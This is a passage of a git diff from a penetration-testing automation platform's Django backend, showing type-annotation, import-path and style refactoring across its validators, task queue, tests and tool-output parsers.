get_token(cls, user: User) -> Dict[str, Any]: + def get_token(cls, user: User) -> Any: token = super().get_token(user) group = user.groups.first() token["role"] = group.name if group else Role.READER.value diff --git a/src/backend/security/authentication/views.py b/src/backend/security/authentication/views.py index 29b1ff8cb..2ec51a00f 100644 --- a/src/backend/security/authentication/views.py +++ b/src/backend/security/authentication/views.py @@ -5,7 +5,7 @@ class LoginViewSet(TokenObtainPairView): """Token ViewSet that includes the user login (get access and refresh token).""" - permission_classes = [IsNotAuthenticated] + permission_classes = [IsNotAuthenticated] # type: ignore throttle_scope = "login" diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index 7ba73fead..4494beb12 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -1,4 +1,4 @@ -from typing import Any, Tuple +from typing import Any from platforms.telegram_app.models import TelegramChat from processes.models import Process, Step diff --git a/src/backend/security/file_handler.py b/src/backend/security/file_handler.py index ed66bab30..fe64a9bae 100644 --- a/src/backend/security/file_handler.py +++ b/src/backend/security/file_handler.py @@ -41,7 +41,7 @@ def _validate_extension(self, in_memory_file: Any) -> None: f"[Security] Attempt of upload file with invalid extension: {extension}" ) raise ValidationError( - f"Invalid extension", code="file", params={"value": extension} + "Invalid extension", code="file", params={"value": extension} ) def _validate_mime_type(self, in_memory_file: Any) -> None: @@ -51,7 +51,7 @@ def _validate_mime_type(self, in_memory_file: Any) -> None: f"[Security] Attempt of upload file with invalid MIME type: {mime_type}" ) raise ValidationError( - f"Invalid MIME type", code="file", params={"value": mime_type} + "Invalid MIME type", code="file", params={"value": mime_type} ) def validate_file(self, in_memory_file: Any) -> None: @@ -75,4 +75,4 @@ def store_file(self, in_memory_file: Any) -> Tuple[str, str, int]: with open(path, "rb+") as stored_file: lines = len(stored_file.readlines()) logger.warning(f"[Security] New file uploaded to the server in the path {path}") - return path, checksum, lines + return str(path), str(checksum), lines diff --git a/src/backend/security/management/__init__.py b/src/backend/security/management/__init__.py index 057243216..2226fb739 100644 --- a/src/backend/security/management/__init__.py +++ b/src/backend/security/management/__init__.py @@ -1 +1 @@ -'''Management commands.''' +"""Management commands.""" diff --git a/src/backend/security/management/commands/__init__.py b/src/backend/security/management/commands/__init__.py index 057243216..2226fb739 100644 --- a/src/backend/security/management/commands/__init__.py +++ b/src/backend/security/management/commands/__init__.py @@ -1 +1 @@ -'''Management commands.''' +"""Management commands.""" diff --git a/src/backend/security/management/commands/encryption_key.py b/src/backend/security/management/commands/encryption_key.py index 4cd094ebc..f740eae15 100644 --- a/src/backend/security/management/commands/encryption_key.py +++ b/src/backend/security/management/commands/encryption_key.py @@ -1,5 +1,5 @@ import logging -from typing import Tuple +from typing import Tuple, Callable from django.apps import apps from framework.models import BaseEncrypted @@ -19,7 +19,7 @@ def _get_new_encryptor(self) -> Tuple[Encryptor, str]: return Encryptor(new_encryption_key), new_encryption_key def _replace_encrypted_values( - self, new_value_processor: callable, old_value_processor: callable + self, new_value_processor: Callable, old_value_processor: Callable ) -> None: for model in apps.get_models(): if not issubclass(model, BaseEncrypted): diff --git a/src/backend/security/middleware.py b/src/backend/security/middleware.py index 6631ea839..bb23bd335 100644 --- a/src/backend/security/middleware.py +++ b/src/backend/security/middleware.py @@ -1,6 +1,6 @@ import logging from dataclasses import dataclass -from typing import Any +from typing import Any, Optional from rekono.settings import CONFIG from rest_framework import status @@ -60,10 +60,11 @@ class SecurityMiddleware: get_response: Any - def _get_forwarded_address(self, request: HttpRequest) -> str: + def _get_forwarded_address(self, request: HttpRequest) -> Optional[str]: x_forwarded_for = request.META.get("HTTP_X_FORWARDED_FOR") if x_forwarded_for and CONFIG.trusted_proxy: return x_forwarded_for.split(",", 1)[0] + return None def _http_options(self, request: HttpRequest) -> Response: response = Response(status=status.HTTP_200_OK) diff --git a/src/backend/security/validators/__init__.py b/src/backend/security/validators/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/backend/security/input_validator.py b/src/backend/security/validators/input_validator.py similarity index 90% rename from src/backend/security/input_validator.py rename to src/backend/security/validators/input_validator.py index 8a45799ea..265cd2f7b 100644 --- a/src/backend/security/input_validator.py +++ b/src/backend/security/validators/input_validator.py @@ -26,17 +26,19 @@ class Regex(Enum): class Validator(RegexValidator): def __init__( self, - regex: Any | None = ..., - message: Any | None = ..., - code: str | None = ..., - inverse_match: bool | None = ..., - flags: RegexFlag | None = ..., + regex: Any | None, + message: Any | None = "Provided value contains disallowed characters", + code: str | None = None, + inverse_match: bool | None = ..., # type: ignore + flags: RegexFlag | None = None, ) -> None: - message = "Provided value contains disallowed characters" - flags = None # Needed to prevent TypeError super().__init__(regex, message, code, inverse_match, flags) def __call__(self, value: str | None) -> None: + if not value: + raise ValidationError( + "Value is required", code=self.code, params={"value": value} + ) regex_matches = re.fullmatch(self.regex, value) invalid_input = ( not bool(regex_matches) if self.inverse_match else bool(regex_matches) diff --git a/src/backend/security/target_validator.py b/src/backend/security/validators/target_validator.py similarity index 73% rename from src/backend/security/target_validator.py rename to src/backend/security/validators/target_validator.py index 35e0727cc..d9c3a7b27 100644 --- a/src/backend/security/target_validator.py +++ b/src/backend/security/validators/target_validator.py @@ -1,7 +1,7 @@ import ipaddress import re from re import RegexFlag -from typing import Any, List +from typing import Any from django.core.validators import RegexValidator from django.forms import ValidationError @@ -11,33 +11,36 @@ class TargetValidator(RegexValidator): def __init__( self, - regex: Any | None = ..., - message: Any | None = ..., + regex: Any | None = None, + message: Any | None = None, code: str | None = "target", inverse_match: bool | None = False, flags: RegexFlag | None = None, ) -> None: self.code = code - flags = None # Needed to prevent TypeError super().__init__(regex, message, code, inverse_match, flags) def __call__(self, value: str | None) -> None: super().__call__(value) + if not value: + raise ValidationError( + "Target is required", code=self.code, params={"value": value} + ) blacklist = TargetBlacklist.objects.all().values_list("target", flat=True) if value in blacklist: raise ValidationError( - f"Target is disallowed by policy", + "Target is disallowed by policy", code=self.code, params={"value": value}, ) for denied_value in blacklist: try: match = re.fullmatch(denied_value, value) - except: + except Exception: match = None if match: raise ValidationError( - f"Target is disallowed by policy", + "Target is disallowed by policy", code=self.code, params={"value": value}, ) @@ -46,11 +49,9 @@ def __call__(self, value: str | None) -> None: (ipaddress.IPv6Address, ipaddress.IPv6Network), ]: try: - address = address_class(value) - network = network_class(denied_value) - if address in network: + if address_class(value) in network_class(denied_value): # type: ignore raise ValidationError( - f"Target belongs to a network that is disallowed by policy", + "Target belongs to a network that is disallowed by policy", code="target", params={"value": value}, ) diff --git a/src/backend/target_blacklist/models.py b/src/backend/target_blacklist/models.py index 9f32017d4..a4bf496c5 100644 --- a/src/backend/target_blacklist/models.py +++ b/src/backend/target_blacklist/models.py @@ -1,6 +1,6 @@ from django.db import models from framework.models import BaseModel -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator # Create your models here. diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index 8ab6ea43a..c3da29518 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -4,7 +4,7 @@ from django.db import models from framework.enums import InputKeyword from framework.models import BaseInput -from security.input_validator import Regex, Validator +from security.validators.input_validator import Regex, Validator from targets.models import Target # Create your models here. diff --git a/src/backend/targets/enums.py b/src/backend/targets/enums.py index 0df645876..2cc94e865 100644 --- a/src/backend/targets/enums.py +++ b/src/backend/targets/enums.py @@ -2,10 +2,10 @@ class TargetType(models.TextChoices): - '''Supported target types.''' + """Supported target types.""" - PRIVATE_IP = 'Private IP' - PUBLIC_IP = 'Public IP' - NETWORK = 'Network' - IP_RANGE = 'IP range' - DOMAIN = 'Domain' + PRIVATE_IP = "Private IP" + PUBLIC_IP = "Public IP" + NETWORK = "Network" + IP_RANGE = "IP range" + DOMAIN = "Domain" diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index c7cddcc7a..d6e19e134 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -9,8 +9,8 @@ from framework.enums import InputKeyword from framework.models import BaseInput from projects.models import Project -from security.input_validator import Regex -from security.target_validator import TargetValidator +from security.validators.input_validator import Regex +from security.validators.target_validator import TargetValidator from targets.enums import TargetType # Create your models here. @@ -72,7 +72,7 @@ def get_type(target: str) -> str: logger.warning(f"[Security] Invalid target {target}") # Target is invalid or target type is not supported raise ValidationError( - f"Invalid target. IP address, IP range or domain is required", + "Invalid target. IP address, IP range or domain is required", code="target", params={"value": target}, ) diff --git a/src/backend/tasks/__init__.py b/src/backend/tasks/__init__.py index 8b1378917..e69de29bb 100644 --- a/src/backend/tasks/__init__.py +++ b/src/backend/tasks/__init__.py @@ -1 +0,0 @@ - diff --git a/src/backend/tasks/models.py b/src/backend/tasks/models.py index c3f0aab68..e2b16dde8 100644 --- a/src/backend/tasks/models.py +++ b/src/backend/tasks/models.py @@ -2,7 +2,10 @@ from framework.models import BaseModel from processes.models import Process from rekono.settings import AUTH_USER_MODEL -from security.input_validator import FutureDatetimeValidator, TimeAmountValidator +from security.validators.input_validator import ( + FutureDatetimeValidator, + TimeAmountValidator, +) from targets.models import Target from tasks.enums import TimeUnit from tools.enums import Intensity diff --git a/src/backend/tasks/queues.py b/src/backend/tasks/queues.py index f942ef3cb..e242a8b03 100644 --- a/src/backend/tasks/queues.py +++ b/src/backend/tasks/queues.py @@ -1,6 +1,6 @@ import logging from datetime import timedelta -from typing import Any +from typing import Any, Dict, List from django.db.models import Max from django.utils import timezone @@ -95,7 +95,7 @@ def _consume_tool_task(task: Task) -> None: @staticmethod def _consume_process_task(task: Task) -> None: - plan = [] + plan: List[Dict[str, Any]] = [] steps = ( Step.objects.annotate( max_input=Max("configuration__tool__arguments__inputs__type__id"), @@ -123,14 +123,16 @@ def _consume_process_task(task: Task) -> None: if Intensity.objects.filter( tool=step.configuration.tool, value__lte=task.intensity ).exists(): - for job in plan: - for output in job.get("outputs"): - if output in item.get("inputs"): - item["group"] = max([item["group"], job["group"] + 1]) - if job["step"].id not in [ + for execution_job in plan: + for output in execution_job.get("outputs", []): + if output in item.get("inputs", []): + item["group"] = max( + [item["group"], execution_job["group"] + 1] + ) + if execution_job["step"].id not in [ d["step"].id for d in item["dependencies"] ]: - item["dependencies"].append(job) + item["dependencies"].append(execution_job) break plan.append(item) else: @@ -141,9 +143,9 @@ def _consume_process_task(task: Task) -> None: status=Status.SKIPPED, skipped_reason=f"Tool {step.configuration.tool.name} can't be executed with intensity {task.intensity.name.capitalize()}", ) - for job in plan: + for execution_job in plan: executions = TasksQueue._calculate_executions( - job["step"].configuration.tool, + execution_job["step"].configuration.tool, [], task.target.target_ports.all(), task.target.input_vulnerabilities.all(), @@ -153,10 +155,10 @@ def _consume_process_task(task: Task) -> None: for parameters in executions or [{}]: execution = Execution.objects.create( task=task, - configuration=job["step"].configuration, - group=job["group"], + configuration=execution_job["step"].configuration, + group=execution_job["group"], ) - job["jobs"].append( + execution_job["jobs"].append( executions_queue.enqueue( execution, parameters.get(0, []), @@ -164,7 +166,9 @@ def _consume_process_task(task: Task) -> None: parameters.get(2, []), parameters.get(3, []), parameters.get(4, []), - dependencies=sum([d["jobs"] for d in job["dependencies"]], []), + dependencies=sum( + [d["jobs"] for d in execution_job["dependencies"]], [] + ), ) ) diff --git a/src/backend/tasks/serializers.py b/src/backend/tasks/serializers.py index ebc8862f8..ab6430370 100644 --- a/src/backend/tasks/serializers.py +++ b/src/backend/tasks/serializers.py @@ -1,4 +1,4 @@ -from typing import Any, Dict +from typing import Any, Dict, cast from django.core.exceptions import ValidationError from processes.models import Process @@ -82,10 +82,11 @@ def validate(self, attrs: Dict[str, Any]) -> Dict[str, Any]: if attrs.get("configuration"): attrs["process"] = None if not Intensity.objects.filter( - tool=attrs.get("configuration").tool, value=attrs.get("intensity") + tool=cast(Configuration, attrs.get("configuration")).tool, + value=attrs.get("intensity"), ).exists(): raise ValidationError( - f'Invalid intensity {attrs["intensity"]} for tool {attrs.get("configuration").tool.name}', + f'Invalid intensity {attrs["intensity"]} for tool {cast(Configuration, attrs.get("configuration")).tool.name}', code="intensity", ) elif attrs.get("process"): diff --git a/src/backend/tasks/urls.py b/src/backend/tasks/urls.py index 8083d48c0..296526070 100644 --- a/src/backend/tasks/urls.py +++ b/src/backend/tasks/urls.py @@ -4,6 +4,6 @@ # Register your views here. router = SimpleRouter() -router.register('tasks', TaskViewSet) +router.register("tasks", TaskViewSet) urlpatterns = router.urls diff --git a/src/backend/tests/cases.py b/src/backend/tests/cases.py index 2df18099b..6e23fbf6e 100644 --- a/src/backend/tests/cases.py +++ b/src/backend/tests/cases.py @@ -1,8 +1,7 @@ import json from dataclasses import dataclass from pathlib import Path -from sys import stdout -from typing import Any, Dict, List, Tuple +from typing import Any, Dict, List, Tuple, Optional, Type from django.db import transaction from django.test import TestCase @@ -23,8 +22,8 @@ class ApiTestCase(RekonoTestCase): executors: List[str] method: str status_code: int - data: Dict[str, Any] = None - expected: Dict[str, Any] = None + data: Optional[Dict[str, Any]] = None + expected: Optional[Dict[str, Any]] = None endpoint: str = "{endpoint}" format: str = "json" @@ -57,7 +56,7 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: api_client = APIClient(HTTP_AUTHORIZATION=f"Bearer {access}") response = getattr(api_client, self.method.lower())( self.endpoint.format(endpoint=kwargs.get("endpoint", "")), - data=self.data or None, + data=self.data, format=self.format, ) self.tc.assertEqual(self.status_code, response.status_code) @@ -77,7 +76,7 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: @dataclass class ToolTestCase(RekonoTestCase): report: str - expected: List[Dict[str, Any]] = None + expected: Optional[List[Dict[str, Any]]] = None def _get_parser( self, execution: Execution, executor_arguments: List[str], reports: Path @@ -103,9 +102,12 @@ def test_case(self, *args: Any, **kwargs: Any) -> None: ) parser.parse() self.tc.assertEqual(len(self.expected or []), len(parser.findings)) - for index, finding in enumerate(parser.findings): - expected = self.expected[index] - self.tc.assertTrue(isinstance(finding, expected.get("model"))) - for field, value in expected.items(): - if field != "model": - self.tc.assertEqual(value, getattr(finding, field)) + if self.expected: + for index, finding in enumerate(parser.findings): + expected = self.expected[index] + self.tc.assertTrue( + isinstance(finding, expected.get("model", Type[None])) + ) + for field, value in expected.items(): + if field != "model": + self.tc.assertEqual(value, getattr(finding, field)) diff --git a/src/backend/tests/framework.py b/src/backend/tests/framework.py index 70bfefe64..5cba7a4ff 100644 --- a/src/backend/tests/framework.py +++ b/src/backend/tests/framework.py @@ -1,7 +1,7 @@ import hashlib import json from pathlib import Path as PathFile -from typing import Any, Dict, List +from typing import Any, Dict, List, Optional from authentications.enums import AuthenticationType from authentications.models import Authentication @@ -40,7 +40,6 @@ from tasks.models import Task from tasks.queues import TasksQueue from tests.cases import RekonoTestCase -from tools.enums import Intensity from tools.enums import Intensity as IntensityEnum from tools.enums import Stage from tools.models import Argument, Configuration, Input, Intensity, Tool @@ -312,7 +311,9 @@ class ApiTest(RekonoTest): def _get_object(self) -> Any: return None - def _get_api_client(self, access: str = None, token: str = None): + def _get_api_client( + self, access: Optional[str] = None, token: Optional[str] = None + ): client = ( APIClient(HTTP_AUTHORIZATION=f"Bearer {access}") if access else APIClient() ) @@ -340,7 +341,7 @@ def test_anonymous_access(self) -> None: class ToolTest(RekonoTest): tool_name = "" execution = None - executor_arguments = [] + executor_arguments: List[str] = [] data_dir = RekonoTest.data_dir / "reports" def setUp(self) -> None: diff --git a/src/backend/tests/platforms/defect_dojo/test_entities.py b/src/backend/tests/platforms/defect_dojo/test_entities.py index 78fab2591..e6fbdc638 100644 --- a/src/backend/tests/platforms/defect_dojo/test_entities.py +++ b/src/backend/tests/platforms/defect_dojo/test_entities.py @@ -1,6 +1,7 @@ +from typing import List, cast, Dict from unittest import mock -from tests.cases import ApiTestCase +from tests.cases import ApiTestCase, RekonoTestCase from tests.framework import ApiTest from tests.platforms.defect_dojo.mock import ( create_engagement, @@ -13,7 +14,7 @@ class DefectDojoEntitiesTest(ApiTest): endpoint = "/api/defect-dojo/" - cases = [] + cases: List[RekonoTestCase] = [] def setUp(self) -> None: super().setUp() @@ -33,17 +34,21 @@ def setUp(self) -> None: {"product": 1, **invalid}, ), ] - for endpoint, valid, invalid in self.entities_cases: + for endpoint, valid_data, invalid_data in self.entities_cases: self.cases.extend( [ ApiTestCase( - ["reader1", "reader2"], "post", 403, valid, endpoint=endpoint + ["reader1", "reader2"], + "post", + 403, + valid_data, + endpoint=endpoint, ), ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], "post", 400, - invalid, + invalid_data, endpoint=endpoint, ), ] @@ -51,17 +56,22 @@ def setUp(self) -> None: self.cases.extend( [ ApiTestCase( - ["admin1", "auditor1"], "post", 201, valid, {"id": 1}, endpoint + ["admin1", "auditor1"], + "post", + 201, + valid_data, + {"id": 1}, + endpoint, ), - ApiTestCase([], "post", 404, valid, endpoint), + ApiTestCase([], "post", 404, valid_data, endpoint), ] - if "project_id" in valid + if "project_id" in cast(Dict[str, str], valid_data) else [ ApiTestCase( ["admin1", "admin2", "auditor1", "auditor2"], "post", 201, - valid, + valid_data, {"id": 1}, endpoint, ) diff --git a/src/backend/tests/platforms/defect_dojo/test_integrations.py b/src/backend/tests/platforms/defect_dojo/test_integrations.py index 8300d7b43..928bd18d1 100644 --- a/src/backend/tests/platforms/defect_dojo/test_integrations.py +++ b/src/backend/tests/platforms/defect_dojo/test_integrations.py @@ -1,3 +1,4 @@ +from typing import Any, Dict from unittest import mock from platforms.defect_dojo.integrations import DefectDojo @@ -13,7 +14,7 @@ return_true, ) -sync = { +sync: Dict[str, Any] = { "project": 1, "product_type_id": 1, "product_id": 1, diff --git a/src/backend/tests/platforms/defect_dojo/test_settings.py b/src/backend/tests/platforms/defect_dojo/test_settings.py index 9ecdd7cd9..adfd91bc5 100644 --- a/src/backend/tests/platforms/defect_dojo/test_settings.py +++ b/src/backend/tests/platforms/defect_dojo/test_settings.py @@ -48,7 +48,7 @@ class DefectDojoSettingsTest(ApiTest): expected={ "id": 1, **new_settings, - "api_token": "*" * len(new_settings["api_token"]), + "api_token": "*" * len(str(new_settings.get("api_token", ""))), "is_available": False, }, ), @@ -59,7 +59,7 @@ class DefectDojoSettingsTest(ApiTest): expected={ "id": 1, **new_settings, - "api_token": "*" * len(new_settings["api_token"]), + "api_token": "*" * len(str(new_settings.get("api_token", ""))), "is_available": False, }, ), diff --git a/src/backend/tests/platforms/test_nvd_nist.py b/src/backend/tests/platforms/test_nvd_nist.py index 89ed6cfd2..780b411a8 100644 --- a/src/backend/tests/platforms/test_nvd_nist.py +++ b/src/backend/tests/platforms/test_nvd_nist.py @@ -1,4 +1,4 @@ -from typing import Any, Dict +from typing import Any, Dict, Optional from unittest import mock from findings.enums import Severity @@ -62,8 +62,8 @@ def setUp(self) -> None: def _test( self, severity: Severity, - reference: str = None, - cwe: str = "CWE-200", + reference: Optional[str] = None, + cwe: Optional[str] = "CWE-200", description: str = "description", ) -> None: self.nvd_nist.process_findings(self.execution3, [self.vulnerability]) diff --git a/src/backend/tests/platforms/test_smtp.py b/src/backend/tests/platforms/test_smtp.py index dac97ec99..e8b14bc59 100644 --- a/src/backend/tests/platforms/test_smtp.py +++ b/src/backend/tests/platforms/test_smtp.py @@ -49,7 +49,7 @@ class SmtpSettingsTest(ApiTest): expected={ "id": 1, **config, - "password": "*" * len(config["password"]), + "password": "*" * len(str(config.get("password", ""))), "is_available": False, }, ), @@ -60,7 +60,7 @@ class SmtpSettingsTest(ApiTest): expected={ "id": 1, **config, - "password": "*" * len(config["password"]), + "password": "*" * len(str(config.get("password", ""))), "is_available": False, }, ), diff --git a/src/backend/tests/test_parameters.py b/src/backend/tests/test_parameters.py index e7e3f1b19..e26a7c7fb 100644 --- a/src/backend/tests/test_parameters.py +++ b/src/backend/tests/test_parameters.py @@ -1,4 +1,4 @@ -from typing import Any +from typing import Any, Dict, List from parameters.models import InputTechnology, InputVulnerability from tests.cases import ApiTestCase @@ -7,8 +7,8 @@ class ParameterTest(ApiTest): model = None - valid = [] - invalid = [] + valid: List[Dict[str, Any]] = [] + invalid: List[Dict[str, Any]] = [] def __init__(self, methodName: str = "runTest") -> None: super().__init__(methodName) @@ -127,7 +127,7 @@ def _get_object(self) -> Any: class InputTechnologyTest(ParameterTest): model = InputTechnology endpoint = "/api/parameters/technologies/" - expected_str = f"10.10.10.10 - WordPress - 1.0.0" + expected_str = "10.10.10.10 - WordPress - 1.0.0" valid = [ {"target": 1, "name": "WordPress", "version": "1.0.0"}, {"target": 1, "name": "Joomla", "version": "1.0.0"}, @@ -141,7 +141,7 @@ class InputTechnologyTest(ParameterTest): class InputVulnerabilityTest(ParameterTest): model = InputVulnerability endpoint = "/api/parameters/vulnerabilities/" - expected_str = f"10.10.10.10 - CVE-2023-1111" + expected_str = "10.10.10.10 - CVE-2023-1111" valid = [ {"target": 1, "cve": "CVE-2023-1111"}, {"target": 1, "cve": "CVE-2023-1112"}, diff --git a/src/backend/tests/test_users.py b/src/backend/tests/test_users.py index 1085639a2..068b7eed1 100644 --- a/src/backend/tests/test_users.py +++ b/src/backend/tests/test_users.py @@ -1,4 +1,4 @@ -from typing import Any +from typing import Any, cast from platforms.mail.notifications import SMTP from platforms.telegram_app.models import TelegramChat @@ -516,17 +516,19 @@ class Profile(ApiTest): def setUp(self) -> None: super().setUp() self.admin1_telegram_chat = TelegramChat.objects.create( - user=self.admin1, chat_id=1 + user=cast(User, self.admin1), chat_id=1 ) def test_cases(self) -> None: self.assertEqual( - self.admin1_telegram_chat.chat_id, self.admin1.telegram_chat.chat_id + self.admin1_telegram_chat.chat_id, + cast(User, self.admin1).telegram_chat.chat_id, ) super().test_cases() # Linked Telegram Chats are removed after a password change - self.admin1 = User.objects.get(pk=self.admin1.id) - self.assertFalse(hasattr(self.admin1, "telegram_chat")) + self.assertFalse( + hasattr(User.objects.get(pk=cast(User, self.admin1).id), "telegram_chat") + ) def test_notification_scope(self) -> None: self._setup_tasks_and_executions() diff --git a/src/backend/tools/admin.py b/src/backend/tools/admin.py index 9ed4a5ccf..99728354a 100644 --- a/src/backend/tools/admin.py +++ b/src/backend/tools/admin.py @@ -1,5 +1,5 @@ from django.contrib import admin -from tools.models import Tool, Configuration, Input, Output, Intensity +from tools.models import Configuration, Input, Intensity, Output, Tool # Register your models here. diff --git a/src/backend/tools/executors/base.py b/src/backend/tools/executors/base.py index 5e83b9c1a..efa23612b 100644 --- a/src/backend/tools/executors/base.py +++ b/src/backend/tools/executors/base.py @@ -1,7 +1,7 @@ import logging import os import re -import subprocess +import subprocess # nosec import uuid from pathlib import Path from typing import Any, Dict, List @@ -36,8 +36,8 @@ def __init__(self, execution: Execution) -> None: CONFIG.reports / f'{str(uuid.uuid4())}.{execution.configuration.tool.output_format or "txt"}' ) - self.arguments = [] - self.findings_used_in_execution: Dict[__class__, BaseInput] = {} + self.arguments: List[str] = [] + self.findings_used_in_execution: Dict[Any, BaseInput] = {} def _get_arguments( self, @@ -161,7 +161,7 @@ def _before_running(self) -> None: def _run(self, environment: Dict[str, Any] = os.environ.copy()) -> str: logger.info(f"[Tool] Running: {' '.join(self.arguments)}") - process = subprocess.run( + process = subprocess.run( # nosec self.arguments, capture_output=True, env=environment, diff --git a/src/backend/tools/executors/gitleaks.py b/src/backend/tools/executors/gitleaks.py index 7336be30f..959a55800 100644 --- a/src/backend/tools/executors/gitleaks.py +++ b/src/backend/tools/executors/gitleaks.py @@ -1,5 +1,6 @@ -import subprocess +import subprocess # nosec import uuid +import os from pathlib import Path from typing import Any, Dict @@ -31,19 +32,19 @@ def _parse_findings(self, output: str) -> None: reference="https://iosentrix.com/blog/git-source-code-disclosure-vulnerability/", ) - def _run(self, environment: Dict[str, Any] = ...) -> str: + def _run(self, environment: Dict[str, Any] = os.environ.copy()) -> str: target_url = environment.get("GIT_DUMPER_TARGET_URL", "") if target_url[-1] != "/": target_url += "/" target_url += ".git/" gitdumper_directory = Path(CONFIG.gittools_dir) / "Dumper" run_directory = CONFIG.reports / str(uuid.uuid4()) - process = subprocess.run( + process = subprocess.run( # nosec ["bash", gitdumper_directory, "gitdumper.sh", target_url, run_directory], capture_output=True, cwd=gitdumper_directory, ) - subprocess.run( + subprocess.run( # nosec ["git", "checkout", "--", "."], capture_output=True, cwd=run_directory, diff --git a/src/backend/tools/models.py b/src/backend/tools/models.py index 3c8640b16..5296e90e2 100644 --- a/src/backend/tools/models.py +++ b/src/backend/tools/models.py @@ -1,8 +1,8 @@ import re import shutil -import subprocess +import subprocess # nosec from pathlib import Path -from typing import Any +from typing import Any, Optional from django.db import models from framework.models import BaseLike, BaseModel @@ -58,10 +58,10 @@ def update_status(self) -> None: update_fields.append("version") self.save(update_fields=update_fields) - def _parse_version(self) -> str: + def _parse_version(self) -> Optional[str]: version_regex = r"(?!m)[a-z]?[\d]+\.[\d]+\.[\d]*-?[a-z]*" if self.version_argument: - process = subprocess.run( + process = subprocess.run( # nosec [i for i in [self.command, self.script, self.version_argument] if i], capture_output=True, ) @@ -74,6 +74,7 @@ def _parse_version(self) -> str: ) if version: return version.group() + return None def __str__(self) -> str: """Instance representation in text format. diff --git a/src/backend/tools/parsers/base.py b/src/backend/tools/parsers/base.py index bc98a0055..6216a5e33 100644 --- a/src/backend/tools/parsers/base.py +++ b/src/backend/tools/parsers/base.py @@ -1,16 +1,15 @@ import json -from typing import Any, Dict, List +from typing import Any, Dict, List, Optional import defusedxml.ElementTree as parser from django.db.models.fields.related_descriptors import ReverseManyToOneDescriptor from django.db.models.query_utils import DeferredAttribute -from django.utils import timezone from findings.framework.models import Finding from tools.executors.base import BaseExecutor class BaseParser: - def __init__(self, executor: BaseExecutor, output: str = None) -> None: + def __init__(self, executor: BaseExecutor, output: Optional[str] = None) -> None: self.executor = executor self.output = output self.report = ( diff --git a/src/backend/tools/parsers/joomscan.py b/src/backend/tools/parsers/joomscan.py index c64f5314a..f284b09d0 100644 --- a/src/backend/tools/parsers/joomscan.py +++ b/src/backend/tools/parsers/joomscan.py @@ -1,4 +1,5 @@ from urllib.parse import urlparse +from typing import Set from findings.enums import PathType, Severity from findings.models import Exploit, Path, Technology, Vulnerability @@ -10,10 +11,10 @@ def _parse_standard_output(self) -> None: technology = None vulnerability_name = None endpoints = set(["/"]) - backups = set() - configurations = set() - path_disclosure = set() - directory_listing = set() + backups: Set[str] = set() + configurations: Set[str] = set() + path_disclosure: Set[str] = set() + directory_listing: Set[str] = set() host = urlparse( self.executor.arguments[self.executor.arguments.index("-u") + 1] ).hostname diff --git a/src/backend/tools/parsers/nmap.py b/src/backend/tools/parsers/nmap.py index c79993e42..f0090e7e2 100644 --- a/src/backend/tools/parsers/nmap.py +++ b/src/backend/tools/parsers/nmap.py @@ -4,7 +4,7 @@ from findings.enums import HostOS, PathType, PortStatus, Protocol, Severity from findings.models import Credential, Host, Path, Port, Technology, Vulnerability from libnmap.parser import NmapParser -from security.input_validator import Regex +from security.validators.input_validator import Regex from tools.parsers.base import BaseParser @@ -15,8 +15,14 @@ def _parse_report(self) -> None: if not nmap_host.is_up(): continue os_detection = nmap_host.os_match_probabilities() - selected_os = max(os_detection, key=lambda o: o.accuracy) if os_detection else None - selected_class = max(selected_os.osclasses, key=lambda c: c.accuracy) if selected_os else None + selected_os = ( + max(os_detection, key=lambda o: o.accuracy) if os_detection else None + ) + selected_class = ( + max(selected_os.osclasses, key=lambda c: c.accuracy) + if selected_os + else None + ) os_type = HostOS.OTHER if selected_class: try: @@ -55,9 +61,19 @@ def _parse_report(self) -> None: def _parse_nse_scripts( self, results: Any, technologies: List[Technology] | Technology ) -> None: - technology = technologies if isinstance(technologies, Technology) else technologies[0] - smb_technology = [technologies] if isinstance(technologies, Technology) else [t for t in technologies if t.port.service in ["microsoft-ds", "netbios-ssn"]] - smb_technology = smb_technology[0] if smb_technology else None + technology = ( + technologies if isinstance(technologies, Technology) else technologies[0] + ) + smb_technologies = ( + [technologies] + if isinstance(technologies, Technology) + else [ + t + for t in technologies + if t.port.service in ["microsoft-ds", "netbios-ssn"] + ] + ) + smb_technology = smb_technologies[0] if smb_technologies else None for script in results: match script.get("id"): case "vulners": @@ -74,7 +90,7 @@ def _parse_nse_scripts( reference="https://book.hacktricks.xyz/pentesting/pentesting-ftp#anonymous-login", ) case "ftp-proftpd-backdoor": - self.create_finding( + self.create_finding( Vulnerability, technology=technology, name="FTP Backdoor", @@ -140,7 +156,7 @@ def _parse_nse_scripts( case "smb-enum-users": for line in script.get("output").split("\n"): data = line.strip() - if data and ' (RID:' in data: + if data and " (RID:" in data: self.create_finding( Credential, technology=smb_technology, @@ -185,9 +201,9 @@ def _parse_nse_scripts( def _parse_nse_vulners(self, script: Any, technology: Technology) -> None: cves = set() - for cve in re.findall( - Regex.CVE.value, script.get("output", "") - ): + for cve in re.findall(Regex.CVE.value, script.get("output", "")): if cve not in cves: cves.add(cve) - self.create_finding(Vulnerability, technology=technology, name=cve, cve=cve) + self.create_finding( + Vulnerability, technology=technology, name=cve, cve=cve + ) diff --git a/src/backend/tools/parsers/ssh_audit.py b/src/backend/tools/parsers/ssh_audit.py index 0e910badc..114839c3b 100644 --- a/src/backend/tools/parsers/ssh_audit.py +++ b/src/backend/tools/parsers/ssh_audit.py @@ -1,3 +1,4 @@ +from typing import Dict, List from findings.enums import Severity from findings.models import Technology, Vulnerability from tools.parsers.base import BaseParser @@ -12,7 +13,9 @@ class Sshaudit(BaseParser): } def _parse_standard_output(self) -> None: - algorithms = {k: [] for k in self.cryptography_types.keys()} + algorithms: Dict[str, List[str]] = { + k: [] for k in self.cryptography_types.keys() + } technology = None vulnerabilities_to_create = [] for line in self.output.split("\n"): # Get output by lines diff --git a/src/backend/tools/parsers/sslscan.py b/src/backend/tools/parsers/sslscan.py index 